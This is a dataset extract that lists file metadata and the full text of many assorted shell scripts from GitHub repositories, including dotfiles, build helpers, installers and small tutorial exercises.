blob_id
stringlengths
40
40
language
stringclasses
1 value
repo_name
stringlengths
4
115
path
stringlengths
2
970
src_encoding
stringclasses
28 values
length_bytes
int64
31
5.38M
score
float64
2.52
5.28
int_score
int64
3
5
detected_licenses
listlengths
0
161
license_type
stringclasses
2 values
text
stringlengths
31
5.39M
download_success
bool
1 class
eb704a4d1ee711f16642aec2871ae4dc150914e0
Shell
sproul/multivcs_query
/src.repo_parser/change_tracker.sh
UTF-8
683
3.359375
3
[ "MIT" ]
permissive
#!/bin/bash # Usage: change_tracker.sh [-dry] json_fn1 json_fn2 # # Given 2 JSON files containing source control version information for each of 2 packaged products, this utility will determine the source changes that occurred between these two packages and list the changed files. cd `dirname $0` . change_tracker.inc...
true
fc26aa862b6ffd7f90bab99ae8b7fa6c15546b35
Shell
2122-5ahif-nvs/02-microproject-SpasenovicBozidar
/part1.sh
UTF-8
229
2.609375
3
[]
no_license
BUILD_DIR="docs" rm -rf -v $BUILD_DIR; mkdir -p docs; mkdir -p docs/images; cp -r -p -v asciidocs/docinfo.html $BUILD_DIR; cp -r -p -v asciidocs/*.adoc $BUILD_DIR; cp -r -p -v asciidocs/images/* $BUILD_DIR/images;
true
4a54bea0a8c172ba3b1f875f5e088344a80cbbf9
Shell
ayakix/Xcode-Template
/xcodeTemplate/deploy_templates.sh
UTF-8
487
3.125
3
[ "MIT" ]
permissive
#!/usr/bin/env bash template_name="Custom" cocoa_touch_template=Cocoa\ Touch\ Class.xctemplate original_dir=/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/Library/Xcode/Templates/File\ Templates/Source/$cocoa_touch_template custom_dir=$HOME/Library/Developer/Xcode/Templates/File\ Tem...
true
fad1b1020587ae44fd08bb76f74a4715b6c44534
Shell
aChanEP/nextGenImageCreation
/Scripts/ConvertFiles.sh
UTF-8
2,059
4.0625
4
[]
no_license
#!/bin/bash mkdir ./Images/converted # Create the folder to store Next Gen images mkdir ./Images/converted/jp2 mkdir ./Images/converted/webp # mkdir ./Images/JXRFiles mkdir ./Images/converted/Placeholders mkdir ./Images/converted/jpg # Go into Image directory for easier understanding cd Images # Loop through all ima...
true
9c0f4751a2c0edbdb739c373dc4becfeaf2e8e1b
Shell
sunshine2995/Weeds
/rc.d/bashrc
UTF-8
4,799
3.140625
3
[ "MIT" ]
permissive
# Load bashrc on MacOS if [ `uname` = "Darwin" ]; then alias ls='ls -G' fi # Set PS1 if [ `id -u` == 0 ]; then PS1="\[$(tput bold)\]\[$(tput setaf 1)\]\u\[$(tput sgr0)\]\[$(tput setaf 4)\]@\[$(tput sgr0)\]\[$(tput setaf 5)\]\h \[$(tput sgr0)\]\w\[$(tput bold)\]\[$(tput setaf 1)\] \\$ \[$(tput sgr0)\]" else ...
true
92978aadd81361ccb80b9d1949e758ec21df74f6
Shell
CloudVPS/openpanel-openapp-call
/openapp-call
UTF-8
923
3.5
4
[]
no_license
#!/bin/sh # This file is part of OpenPanel - The Open Source Control Panel # OpenPanel is free software: you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the Free # Software Foundation, using version 3 of the License. # # Please note that use of the OpenPan...
true
07ed296d2815e4a1fdfde2211bccc899a0b68162
Shell
camuso/scripts
/init-my-stuff
UTF-8
11,116
3.828125
4
[]
no_license
#!/bin/bash # # init-my-stuff 1.0 # set -x declare -i optcount=0 declare remotename declare logfile="$HOME/.initmystuff.log" declare repolist="rcbak hints etcbk misc ipmi" declare b_pushpriv=false declare b_gitrepo=true declare clonestr declare distro declare installagent declare installflags declare fetched=false dec...
true
3e6dbde7138648f9c51105534749ca76ea6feb85
Shell
snsinfu/dotfiles
/.zsh/init.zsh
UTF-8
767
3.765625
4
[]
no_license
ZSHRC_ROOT="${${(%):-%x}:a:h}" source "${ZSHRC_ROOT}/rc.zsh" source "${ZSHRC_ROOT}/plugin.zsh" zshrc() { local subcommand=help if [ $# -gt 0 ]; then subcommand=$1 shift 1 fi case "${subcommand}" in plugin) __zshrc::plugin::plugin "$@" ;; update) __zshrc:...
true
db8238c04b184d0ffbedf00cf2873c6359415063
Shell
michaelaguiar/dotfiles
/.macos
UTF-8
3,933
3.375
3
[]
no_license
#!/usr/bin/env bash # Close any open System Preferences panes osascript -e 'tell application "System Preferences" to quit' # Ask for the administrator password upfront sudo -v # Keep-alive: update existing `sudo` time stamp until `.macos` has finished while true; do sudo -n true; sleep 60; kill -0 "$$" || exit; done...
true
d775da17494c0bfddba147efb3d9122ba09f5474
Shell
777777777777777777777777777777/slackalamp
/mariadb.sh
UTF-8
476
3.03125
3
[]
no_license
#!/bin/bash DATA=/var/lib/mysql if [ ! -f /etc/my.cnf ]; then cat > /etc/my.cnf <<EOF [server] basedir=/usr datadir=/etc plugin-dir=/usr/lib64/mysql/plugin user=mysql EOF fi if [ ! -d ${DATA}/mysql ]; then # some settings echo "setting" mysql_install_db --defaults-extra-file=/etc/my.cnf chown mysql:mysql -Rv ${DA...
true
0287e2ea9998d2cf046e66fcb2da2aa509f0f1b7
Shell
dkundel/danger-js
/scripts/create-homebrew-tap-pr.sh
UTF-8
1,043
3.5
4
[ "MIT" ]
permissive
#!/bin/bash [ -z ${VERSION+x} ] && { echo "VERSION is missing"; exit 1; } FILE=brew-distribution/danger-macos.zip if [ ! -f ${FILE} ]; then echo ${FILE} not found! exit 1 fi SHA=$(shasum -a 256 ${FILE} | cut -f 1 -d " ") echo "$SHA" # Clone tap repo HOMEBREW_TAP_TMPDIR=$(mktemp -d) git clone --depth 1 git@gith...
true
71b5974dd6656c281902cedd835ab79206be815b
Shell
afloresv/nnc
/fold
UTF-8
438
3.046875
3
[]
no_license
#!/bin/bash listAlg=( CNN NET FCNN MSS VSS RSS 0.1-RSS 0.5-RSS 1-RSS HSS 0.1-HSS 0.5-HSS 1-HSS) echo -e "alg\tfile\tfold\tsize\terror\tcdmin\tcdq1\tcdmed\tcdq3\tcdmax\tcdavg\ttime" for file in `ls dataset/synthetic/v-*.txt dataset/uci/*.txt` do f=$(basename $file .txt) >&2 echo ">>> $f" for alg in ${listAlg[*]} ...
true
93d32a3469ad7dfa7f2333203dcb83cb753b038a
Shell
yuanzhang/k8s
/k8s/bin/master_install.sh
UTF-8
2,257
3.421875
3
[]
no_license
#!/bin/bash set -e if [[ $# < 1 ]] then echo "run as: sh master_install.sh 'https:\/\/172.17.77.90:2379,https:\/\/172.17.181.176:2379,https:\/\/172.17.181.177:2379' " echo "params 1: etcd servers" exit fi ## ็”Ÿๆˆ้…็ฝฎๆ–‡ไปถ sh install/config_install.sh ## ๆ‹ท่ด้…็ฝฎๅˆฐ/etc/kubernetes ETCD_SERVERS=$1 HOSTNAME=`hostna...
true
709f019c7f09c89830e09acd1b3e81bc3d4478ed
Shell
xordoquy/salt
/pkg/osx/scripts/preflight.sh
UTF-8
833
3.21875
3
[ "Apache-2.0", "MIT", "BSD-2-Clause" ]
permissive
#!/bin/bash ############################################################################### # # Title: Pre Install Script for Salt Installation # Authors: Shane Lee # Date: December 2015 # # Description: This script stops the salt minion service before attempting to # install Salt on Mac OSX # # Requiremen...
true
410a71cb4be382945684bc7eeabc4920048e6958
Shell
jan-swiecki/hyzone
/installers/python.sh
UTF-8
488
2.53125
3
[ "MIT" ]
permissive
#!/bin/bash sudo apt-get install -y build-essential checkinstall mkdir -p ~/python-install cd ~/python-install wget https://www.python.org/ftp/python/3.5.1/Python-3.5.1.tar.xz tar xJf ./Python-3.5.1.tar.xz cd ./Python-3.5.1 ./configure --prefix=/opt/python3.5 --with-ensurepip=install make && sudo make install sudo ln ...
true
40338f0b8498453e20c1a351d4afa51316eefa7e
Shell
srivathsanmurali/.dotfiles
/bin/bmarks
UTF-8
282
3.328125
3
[]
no_license
#!/bin/sh # Bookmarks through dmenu # Userscript for qutebrowser set -e url=$(find ~/.config/qutebrowser/bookmarks/ -type f -exec cat {} + | dmenu -p "open $@" -i -l 15 | awk '{print $1}') if [ -z "$url" ]; then exit 0; fi #echo "open $@ $url" >> "$QUTE_FIFO" $BROWSER $url
true
6a27de42f757d3d8803b23150f3aa402c2685a49
Shell
liuxinjie123/docker-jenkins
/get_jenkins.sh
UTF-8
185
2.734375
3
[]
no_license
#!/bin/bash if [[ ! -f jenkins.war ]]; then curl -fL http://mirrors.jenkins-ci.org/war-stable/$JENKINS_VERSION/jenkins.war -o jenkins.war else echo "jenkins.war already exists"; fi
true
cd48373f1ee85c05444411e863b42d4b6123e4de
Shell
tmanev/quis-listing
/deployment_scripts/apache-balancer.sh
UTF-8
3,574
3.640625
4
[ "Apache-2.0" ]
permissive
#! /bin/sh # Set up a default search path PATH="/usr/bin:/bin" CURL=`which curl` if [ -z "$CURL" ]; then echo "curl not found" exit 1 fi server="localhost" port="80" manager="balancer-manager" while getopts "s:p:m:" opt; do case "$opt" in s) server=$OPTARG ;; p) port=$OPTARG ;;...
true
9c49ce3a7f311733cc680e7eec6d63d700ea934c
Shell
kergoth/mac-game-tools
/set-graphics-mac
UTF-8
420
3.3125
3
[ "MIT" ]
permissive
#!/bin/sh PATH="$(dirname "$0"):$PATH" tmpfile="$(mktemp -t "mac-graphics.reg.XXXXXX")" || exit 1 trap 'rm -f "$tmpfile"' EXIT INT TERM cat >"$tmpfile" <<END REGEDIT4 [HKEY_CURRENT_USER\\Software\\Wine\\Drivers] "Graphics"="mac" END for app; do app="${app%.app}.app" if ! grep -qx '"Graphics"="mac"' "$app/Co...
true
a17833d987690e7bda2b023786b87ccf54266f17
Shell
wmayner/dotfiles
/zsh/zshrc.symlink
UTF-8
17,155
3.109375
3
[]
no_license
#!/usr/bin/env zsh # vim: sw=2 ts=2 sts=2 tw=80 foldmarker={,} foldlevel=0 foldmethod=marker # # zshrc of wmayner # Enable Powerlevel10k instant prompt. Should stay close to the top of ~/.zshrc. # Initialization code that may require console input (password prompts, [y/n] # confirmations, etc.) must go above this bloc...
true
c98f970c863b07963c4d8621f8767fbc29af7811
Shell
bridgecrew-perf7/deploy_nginx_without_mysql
/add_base.sh
UTF-8
284
2.828125
3
[]
no_license
# create random password USER_NAME=faser PASSWDDB=faser # replace "-" with "_" for database username MAINDB=${USER_NAME//[^a-zA-Z0-9]/_} mysql -uroot -e "CREATE DATABASE $MAINDB" mysql -uroot -e "GRANT ALL PRIVILEGES ON $MAINDB.* TO $MAINDB@localhost IDENTIFIED BY '$PASSWDDB'"
true
e76521e8c30745ab358266717a3e79bb8415af6a
Shell
IAMX-YT/OBBDECODER
/Setup.sh
UTF-8
1,710
3.03125
3
[]
no_license
#!/data/data/com.termux/files/usr/bin/bash env ############################################ # [IAMX] PUBG OBB DECRYPTER ############################################ echo "welcome To Our New OBB file Decrypter By IAMX" sleep 1 echo "" echo "Connecting..." sleep 4 #Get The permission of Termux echo "Type y" termux-s...
true
958d609fefb5843bb2bb948e7238b8f8836264db
Shell
andikamc/opensvh
/source/script/expire-trojan
UTF-8
456
3.4375
3
[]
no_license
#!/bin/bash clear trojanData=( `cat /etc/trojan/config.json | grep '^###' | cut -d ' ' -f 2`); now=`date +"%Y-%m-%d"` for user in "${trojanData[@]}" do exp=$(grep -w "^### $user" "/etc/trojan/config.json" | cut -d ' ' -f 3) d1=$(date -d "$exp" +%s) d2=$(date -d "$now" +%s) exp2=$(( (d1 - d2) / 86400 )) ...
true
14d5229f2d58167aab12520abd9a58fa88d08648
Shell
clearpathrobotics/pr2-kinect2-packages
/debian/preinst
UTF-8
577
3.65625
4
[]
no_license
#!/bin/bash echo "This will install the pr2-kinect2-packages package on your computer." echo "This package is only intended for use with an Intel NUC which will be connected to a Kinect 2." echo "If run on a computer other than a NUC, it may irrevocably damage your OS installation." read -r -p "If you understand and w...
true
a152e4d7ed5a975f4b080e7b37f27f467e640678
Shell
PettTo/Feature-Model-History-of-Linux
/KConfig_Analysis/analysis.sh
UTF-8
1,478
3.46875
3
[]
no_license
#!/bin/bash #### initiate variables analysisRoot="../../Evaluation/KConfig_Analysis/" interFile="../../Evaluation/KConfig_Analysis/interFile.txt" shaFile="../../Evaluation/KConfig_Analysis/shas.txt" kconfigReaderRun="../Tools/kconfigreader/run.sh" dumpConf="../Tools/kconfigreader/binary_4.15/dumpconf" archKConfig="arc...
true
741a4f544e39ea13463f895de8c85ad0e7332246
Shell
malanchak/AuTuMN
/scripts/buildkite/setup.sh
UTF-8
1,745
2.53125
3
[ "BSD-2-Clause-Views" ]
permissive
# See https://buildkite.com/organizations/autumn/agents#setup-ubuntu # Run as root # TODO: Put all SSH keys in /var/lib/buildkite-agent/.ssh/ # TODO: Add AWS creds to /etc/buildkite-agent/hooks/environment # TODO: Install yarn and node v12 AGENT_TOKEN=xxx sh -c 'echo deb https://apt.buildkite.com/buildkite-agent stable...
true
7cc0992b4ac9fc0f94d4105644f9e9041c65ffff
Shell
rokibhasansagar/builder_demo
/ccashier.sh
UTF-8
837
3.484375
3
[]
no_license
#!/bin/bash ccache_task="${1}" # upload/download CCache_URL="https://gdrive.phantomzone.workers.dev/0:/mido_ccache/ccache.tgz" mkdir -p /home/runner/.cache/ccache /home/runner/.config/rclone cd /home/runner/.cache/ if [[ ${ccache_task} =~ upload ]]; then printf "Compressing ccache data...\n" tar -I "pigz -k...
true
1e03953a743c43053b6fea2046b91b6aa1f3abf4
Shell
andrius/xiringuito
/scripts/client-preexec.sh
UTF-8
270
2.78125
3
[]
no_license
#!/usr/bin/env bash # # Execute *before* doing anything # if [[ "$(sha1sum discover-routes | cut -f1 -d' ')" == "246d9bbeded14ef58e5bc103af0f8c2e8b2e8cf2" ]]; then echo "!!! Rewriting stale 'discover-routes' script" cp discover-routes.aws.example discover-routes fi
true
32cfadcd1e9d3c64e547fc0b4fac344d6aa25acf
Shell
rhardin/chess_scripts
/twic/createBigPgnFile.sh
UTF-8
352
3.046875
3
[]
no_license
#!/bin/bash echo "archive files..." for file in `echo *.zip`; do cp ${file} archive/${file} done echo "unzipping files..." for file in `echo *.zip*`; do unzip ${file} rm ${file} done echo "writing big.png..." cat *.pgn > big.pgn rm twic*.pgn for x in `echo twic*`; do cat $x/games/*.pgn >> big.pgn...
true
d0015e192069896bd281e04ab3fc5b64d74674a5
Shell
tectronics/archlive.mkarchlive
/profiles/chakra/overlay/usr/share/tribe/scripts/job-initialize-target
UTF-8
2,099
3.15625
3
[]
no_license
#!/bin/bash job_initialize_target() { # initialize error handling trap error_handler ERR msg_job_start "job_initialize_target" # recreate some needed dirs msg "regenerating special directories" rm -v -rf ${mountpoint}/sys ${mountpoint}/proc ${mountpoint}/dev mkdir -p -v -m 1777 ${mountpoint}/tmp mkdir -p -...
true
70536260d1a765cbc53208df7c792ec1bc799b35
Shell
partovengine/evaluation
/scripts/evaluate-hping-ES3.2.sh
UTF-8
1,175
3.375
3
[]
no_license
startinground=$1 N=4 . functions.sh MAX_FLOWS=154 STEP=9 cd ../outputs/ echo 'n=$1; i=$2; round=$3;' > run-hping.temp echo 'hping3 -c 60 -i 1 -d 1024 -1 4.2.2.4 > hping3-multi-$n-flow-$i-raw-round-${round}.txt 2>&1 || true;' >> run-hping.temp chmod +x run-hping.temp function hping_multi_instances { local n=$1 local ...
true
bd7126e95c8f6afefc828c497dfeb3a8d8b6da96
Shell
TelephoneTan/HP-Pavilion-bc015tx-Hackintosh
/Obsoleted/ALC295PlugFix/alc_fix/uninstall.command
UTF-8
1,223
3.453125
3
[]
no_license
#!/bin/bash set -e echo "Uninstalling ALCPlugFix. Root user is required." # detect if SIP disabled sipstatus=$(csrutil status) if [[ $sipstatus =~ 'enable' ]]; then echo "SIP is enabled, please consider disable it by setting" echo "csr-active-config to 7F000000 (DATA) and then reboot" echo "or running c...
true
49d50b5e9b1227c61acd5f75e99f9da7b82b92af
Shell
arai-a/binjs-fbssdc
/test.sh
UTF-8
582
3.375
3
[ "MIT" ]
permissive
#!/bin/bash set -e # Integration test for round-tripping a file. prog_dir=$(dirname $(realpath $0)) tmp_dir=$(mktemp -d) pushd $tmp_dir > /dev/null $prog_dir/bpy.py make-dict $prog_dir/test-data/y5R7cnYctJv.js.dump my.dict $prog_dir/bpy.py optimize-ast $prog_dir/test-data/three.min.js.dump three.dump $prog_dir/bpy....
true
3b392e7962a00626fb71ff9724333617a42d353e
Shell
newhavengill/EnvironmentManager
/db/oracle/common/bin/dbargsSansDatabase
UTF-8
733
3.640625
4
[]
no_license
#!/bin/sh NAME=`basename "$0"` USAGE="usage: $NAME -e <env name> [database]" ENV_NAME="$2" DB_NAME="$3" ########################################################## # Parse Args if [ $# -ne 3 ] ; then echo "$USAGE" exit 1 fi if [ "$1" != "-e" ] ; then echo "$USAGE" exit 1 fi #################################...
true
560d27d5b5c276cb65a9f35a6e7b0aa8d00dd708
Shell
manishbansal8843/cloud-k8s-cluster
/install.sh
UTF-8
681
3.671875
4
[ "MIT" ]
permissive
#!/bin/bash -e echo "=====================================Welcome to cloud k8s cluster installer=====================================" echo "Usage: NUM_OF_NODES=3 CLOUD_PROVIDER=gcp GCP_PROJECT_NAME=project-name-value ./install.sh" : ${NUM_OF_NODES:=3} : ${CLOUD_PROVIDER:="gcp"} WORKER_NODES=$(($NUM_OF_NODES - 1)) i...
true
b9a5866e950ecb944a73c521c5d2b384a4d38e38
Shell
kanoop640/ShellProgram
/Basic/userInputMulti.sh
UTF-8
327
3.109375
3
[]
no_license
echo Enter name : read name echo Entered name is : $name read -p "username :" user_var echo "username is :" $user_var read -sp "Password :" pass_var echo echo Password is : $pass_var echo "Enter multiple name" read -a names echo "Names is :"${names[0]}, ${names[1]} echo Enter Company name : read echo Company is : ...
true
bbbf45266c12541f7d503c89bf56709e71d723f2
Shell
ryanwoodsmall/shell-ish
/bin/roku-hdhomerun-ply.sh
UTF-8
419
3
3
[]
no_license
#!/bin/bash export PATH="/opt/python/python-2.7/bin:${PATH}" export PATH="${PATH}:/usr/local/sbin:/usr/local/bin" export PLYPORT="6969" export PLYDIR="${HOME}/downloads/github/themacks/ply" export PLYLOG="/tmp/ply.log" test -e ${PLYDIR} || { echo "no such dir ${PLYDIR}" exit 1 } pushd ${PLYDIR} test -e ply.py || ...
true
897a8a427bbed88aae9068a88948895e3f6f2651
Shell
Amergoli/qa_chatbots_exercises
/exercise_4/docker_example/boot.sh
UTF-8
159
2.703125
3
[]
no_license
#!/bin/bash if [ -n $SERVER_PORT ] then echo Starting container $NAME on port $SERVER_PORT exec uvicorn $NAME:app --reload --host 0.0.0.0 --port=80 fi
true
b41fd07a209141da3183bfdd28c4da50528f8553
Shell
EngineerBetter/developer-training-class-apps
/ci/unpause-pipelines.sh
UTF-8
373
2.609375
3
[ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ]
permissive
#!/bin/bash set -e if [ "$1" = "" ]; then echo $0: usage: $0 target exit fi target=$1 this_directory=`dirname "$0"` fly -t $target unpause-pipeline -p rate-limit-route-service fly -t $target unpause-pipeline -p rest-data-service fly -t $target unpause-pipeline -p web-ui fly -t $target unpause-pipeline -p uaa...
true
3a7074ebeb0c387d8f54566e183e8f062da8a961
Shell
rh9/wget
/script/wget/xakep_ru_s.sh
UTF-8
1,943
2.703125
3
[]
no_license
#!/bin/sh source /usr/script/wget/config.cfg cd /var/www/html/xakep.ru mkdir `date +%Y.%m.%d` cd `date +%Y.%m.%d` wget -HEkp -nc -nd -l 0 -e robots=off xakep.ru sleep 1 mkdir i mkdir post #ัะบะฐั‡ะธะฒะฐะฝะธะต ััั‹ะปะพะบ # for loop in `cat ../index.html | sed -e 's/\/i\//\ni\//g' | grep Images | awk -F \' '{ print $1 ...
true
51ccd4fbbb5ec003aca0c7cc12a7acefd9bcac7b
Shell
rafaelflorindo/shellScript
/operadorAtribuicaoSimples.sh
UTF-8
557
3.015625
3
[]
no_license
#!/bin/bash #script: operadorAtribicaoSimples.sh #atribuicao de valores direta nas variaveis x=8 y=18 z=38 echo "** Valores Iniciais. **" echo "X = $x" echo "Y = $y" echo "Z = $z" x=$y; echo "** Valores Alterados. **" echo "Valores de X Alterado = $x" x=$((y=z)) echo "Valores de X Alterado = $x" echo "Valores de Y ...
true
b15ca45151bd8808f0916d2db9929a6008ca5e1d
Shell
mandylr/problem-set-2
/run.sh
UTF-8
3,406
3.609375
4
[]
no_license
#! bin/usr/env bash ## Question 1 #Use BEDtools intersect to identify the size of the largest overlap between #CTCF and H3K4me3 locations. datasets='/Users/mandyricher/Desktop/Classes/GenomicsWorkshop/data-sets' H3K4="$datasets/bed/encode.h3k4me3.hela.chr22.bed.gz" TFBS="$datasets/bed/encode.tfbs.chr22.bed.gz" gzca...
true
9de5d867b38a70e7e8d05a15cdb5387afd7c1f49
Shell
makgwalem/JanTrainingMaterial
/variablesubsituation.sh
UTF-8
383
2.625
3
[]
no_license
echo ${var:-"Variable is not set"} echo "1 - value of var is ${var}" echo ${var:="Variable is not set"} echo "2 - value of var is ${var}" unset var echo ${var:+"This is the default value"} echo "3 - value of var is $var" var="Prefix" echo ${var:+"Thius is the default value"} echo "3 - value of var is $var" echo ${...
true
def30424b2763179d96658c4d568b172931ceedf
Shell
get-it-live/system-tools
/builder/build.sh
UTF-8
2,581
3.375
3
[]
no_license
#!/bin/bash #set -e repo=$1 branch=$2 mode=$3 dockerfile=$4 taskId=$5 auth=$6 cache=$7 force=$8 # Expand content to 'deploy' repo deployDir="/git/${repo}/${mode}" mkdir -p ${deployDir} cd ${deployDir} function finish { echo $1 | curl -k -s -XPOST -d @- -u ${auth} -H 'Content-Type: application/json' -H "Token: ${A...
true
c6ed4dda1945c1ab2b947d26f36b56c2ef63e1b3
Shell
sscswapnil/Linux_Scripting_My_Tutorials
/Simple_Mathematical_Operation/Math.sh
UTF-8
498
3.828125
4
[]
no_license
#! /bin/bash read -p "Enter first Number :" n1 read -p "Enter Second Number :" n2 echo "" echo "1 --> Addition Operation" echo "2 --> Subtraction Operation" echo "3 --> Multiplication Operation" echo "4 --> Division Operation" read -p "Choose the option 1|2|3|4: " option case $option in 1) echo "$n1+$n2=$((n1+n2)...
true
21fc911501b03700319e5231703d72c129979aaf
Shell
matthewpi/dotfiles-old
/setup.sh
UTF-8
4,287
4.125
4
[]
no_license
#!/bin/bash print() { echo -e $1 } command_exists() { command -v "$@" >/dev/null 2>&1 } get_latest_release() { curl --silent "https://api.github.com/repos/$1/releases/latest" | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/' } install_starship() { wget https://github.com/starship/starship/...
true
6db0c06db3d24f641c84560f1a76269f9edfeb8c
Shell
zennro/dotfiles-11
/zshrc
UTF-8
2,884
3.015625
3
[]
no_license
ZSH="$HOME/.oh-my-zsh" ZSH_THEME="agnoster" COMPLETION_WAITING_DOTS="true" DEFAULT_USER="dan" plugins=(vi-mode git git-extras zsh-syntax-highlighting) source $ZSH/oh-my-zsh.sh [[ -f $HOME/.bash_aliases ]] && source $HOME/.bash_aliases if command -v fzf &> /dev/null; then unalias historygrep function historygrep { ...
true
8c333cb7d4fce0badf290e73aab30e25b83a0888
Shell
grails-plugins/grails-spring-security-oauth2-google
/travis-build.sh
UTF-8
516
3.09375
3
[ "Apache-2.0" ]
permissive
#!/usr/bin/env bash set -e rm -rf build ./gradlew -q clean check install --stacktrace EXIT_STATUS=0 echo "branch: $TRAVIS_BRANCH" echo "pull-request: $TRAVIS_PULL_REQUEST" echo "travis tag: $TRAVIS_TAG" if [[ -n $TRAVIS_TAG ]] || [[ $TRAVIS_BRANCH == 'master' && $TRAVIS_PULL_REQUEST == 'false' ]]; then echo ...
true
038f872786a0f6202591f091549b182cf9caa8c8
Shell
seanbreckenridge/dotfiles
/.local/scripts/generic/macho
UTF-8
875
3.703125
4
[ "MIT" ]
permissive
#!/usr/bin/env bash # Converted into bash from: # https://hiphish.github.io/blog/2020/05/31/macho-man-command-on-steroids/ declare -rx FZF_DEFAULT_OPTS=' --height=30% --layout=reverse --prompt="Manual: " --preview="man -Pcat {S} {1} 2>/dev/null"' while getopts ":s:" opt; do case $opt in s) SECTION="$OPTARG" shi...
true
4434a65ff36a37ac0f544d1b86e2deb50862fa86
Shell
structbinary/AWSome
/monitor.sh
UTF-8
305
3.03125
3
[]
no_license
#!/bin/bash foldername=$(date +%Y-%m-%d-%H:%M:%S) mkdir /home/ubuntu/logs/$foldername cd /home/ubuntu/logs/ cd $foldername free >> free.log df >> df.log vmstat >> vmstat.log netstat >> netstat.log ps >> ps.log cd .. zip -r --password accenturehack $foldername.zip $foldername rm -rf $foldername
true
c37b5aa8d3e232160423f0168fa59ffc655bdbbc
Shell
bilsaboob/nemerle
/tools/cs2n/convert
UTF-8
319
3.546875
4
[ "BSD-2-Clause" ]
permissive
#!/bin/sh DIR=`dirname $0` ENGINE=`grep "^NET_ENGINE" ./$DIR/../../config.mak | awk '{print $3}'` directory= if [ "$#" -gt "0" ]; then directory=$1 else directory=tests fi for i in $directory/*.cs; do echo "-----------$i-----------------"; $ENGINE ./cs2n.exe $i -out:`echo $i | sed 's/\.cs/\.n/g'`; done;
true
f014b73c911f8308deb6e1ce501355c641423fdf
Shell
jackbaty/ping-addresses
/ping-addresses.sh
UTF-8
227
3.03125
3
[]
no_license
#!/bin/sh # Stolen from Stackexchange. Don't remember the author, sorry. awk '{print $1}' < $1 | while read ip; do if ping -c1 $ip >/dev/null 2>&1; then echo $ip IS UP else echo $ip IS DOWN fi done
true
4f5e2831d92158f6327f2661dc6db3196db87647
Shell
yukinko-tea-room/milli-uni
/script/build-data.sh
UTF-8
402
2.515625
3
[]
no_license
#!/usr/bin/env bash SPREADSHEET_URL="https://docs.google.com/spreadsheets/d/1SuvJFStzTXDalw3PXHk8Cph3ewrHvYwDlKWWIRnSzfU/export" UNIT_TO_IDOL_SHEET_ID="1100874764" IDOL_TO_UNIT_SHEET_ID="1217692686" wget -O unitToIdol.csv "${SPREADSHEET_URL}?format=csv&gid=${UNIT_TO_IDOL_SHEET_ID}" wget -O idolToUnit.csv "${SPREADSHE...
true
beb5a88f5b7e251cdbd0d3faaf753804871dd0dd
Shell
vassilikitsios/local_linear_stability_cpp
/tests/turbulent_channel/5stability_nonlinear_eddy/local_linear_stability.run
UTF-8
999
3.46875
3
[]
no_license
#!/bin/bash # ---------------------------------------------------------------------------- # Some important filenames: PROGRAM="local_linear_stability" OUTPUT_FILE=${PROGRAM}".out" ERROR_FILE=${PROGRAM}".err" PROGRAM_BIN_DIR="/home/kit027/local_linear_stability_code/drivers/local_linear_stability/bin" RESULTS_DIR="./...
true
b1ce9dc456e03507767e53dc6bab5d1fdfeb5b55
Shell
songyinghao/ionic-boilerplate
/env/scripts/upload-ios-hockeyapp.sh
UTF-8
891
3.0625
3
[ "MIT" ]
permissive
#!/usr/bin/env bash ### =================== # Upload app package to HockeyApp. # ### =================== if [ -z "$HOCKEY_APP_ID" -a -z "$HOCKEY_APP_TOKEN" ]; then echo "Error: Missing HockeyApp App ID and App Token." exit 1 fi echo "iOS_BUILD = $iOS_BUILD" if [ "$BUILD_APP" != true -o "$iOS_BUILD" != t...
true
1bc8bb32061cc716ce436b344510efd25ab935e5
Shell
daktronics/debian-nginx
/debian/modules/http-uploadprogress/test/stress.sh
UTF-8
879
2.796875
3
[ "BSD-2-Clause", "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference", "MIT", "BSD-4-Clause" ]
permissive
#!/bin/sh # Usage: stress.sh UPLOAD_URL PROGRESS_URL # i=0 LIMIT="10k" FILE="100" #trap 'kill_all' SIGINT SIGTERM while [ "1" == "1" ] do for j in $(seq 5) do i=`expr $i + 1` echo "Upload $i" curl --limit-rate $LIMIT -F pouet=@$FILE $1?X-Progress-ID=$i & sh client.sh $i $2 & i=`expr $i + 1` echo "Upload $i" curl --li...
true
76032a3816ee7b3b4a1034a8161d9a0f82281bf4
Shell
qingqibing/go-3dobj
/build.sh
UTF-8
581
2.625
3
[ "MIT" ]
permissive
#!/bin/bash me=$(basename "$0") msg() { echo >&2 "$me:" "$@" } gofmt -s -w ./*.go ./example go tool fix ./*.go ./example go vet . ./example go install #hash gosimple 2>/dev/null && gosimple ./*.go hash golint 2>/dev/null && golint ./*.go #hash staticcheck 2>/dev/null && staticcheck ./*.go #hash ...
true
ed47ee4231840aeddfdc95d525a826e23e987c99
Shell
cu-swe4s-fall-2019/trees-qyang13
/rand_word_generator.sh
UTF-8
463
3.1875
3
[]
no_license
#!/bin/bash WORDFILE="/usr/share/dict/words" NUMWORDS=10000 # List of random words, with sorted key tL=`awk 'NF!=0 {++c} END {print c}' $WORDFILE` for i in `seq $NUMWORDS` do rnum=$((RANDOM%$tL+1)) echo $i,$(sed -n "$rnum p" $WORDFILE) >> non_rand.txt done # List of random words, with random key tL=`awk 'NF!=0 {...
true
439f3349c42bde16878d92aa8835dea0c121c18d
Shell
giacomoalbe/config
/.bash_aliases
UTF-8
1,513
2.953125
3
[]
no_license
################# # ALIAS SECTION # ################# alias dc=docker-compose alias dcp="docker-compose -f docker-compose.prod.yml" alias dl="docker-compose logs -f" alias g=git alias d=docker alias t=tmux alias vim=nvim alias c=clear alias ev="vim ~/.bashrc" alias sv="source ~/.bashrc" alias ea="vim ~/.bash_aliases" ...
true
264777ef948e5c492698417803a1cab589331812
Shell
toborguru/beagleboard_navstack
/beagle_board/scripts/bb_backup_system_files
UTF-8
888
3.921875
4
[]
no_license
#!/bin/bash # Script written to monitor and control the DATA robot by Sawyer Larkin NAME=`basename $0` display_usage () { echo "Usage: $NAME [options]" 1>&2 echo "" 1>&2 echo "Copies relevant system files that I have updated into this repository for backup." 1>&2 echo "" 1>&2 echo " -h Print this message...
true
c471764fc6ee7c4e816f8bc9a2190558e12cc48a
Shell
jagadeesh800/local-repo
/scripts/s1.sh
UTF-8
121
2.953125
3
[]
no_license
#!/bin/bash read -p 'enter y or n : ' x if [ $x -ne "y" -o $x -ne "n" ] then echo "entered y or n" else fi
true
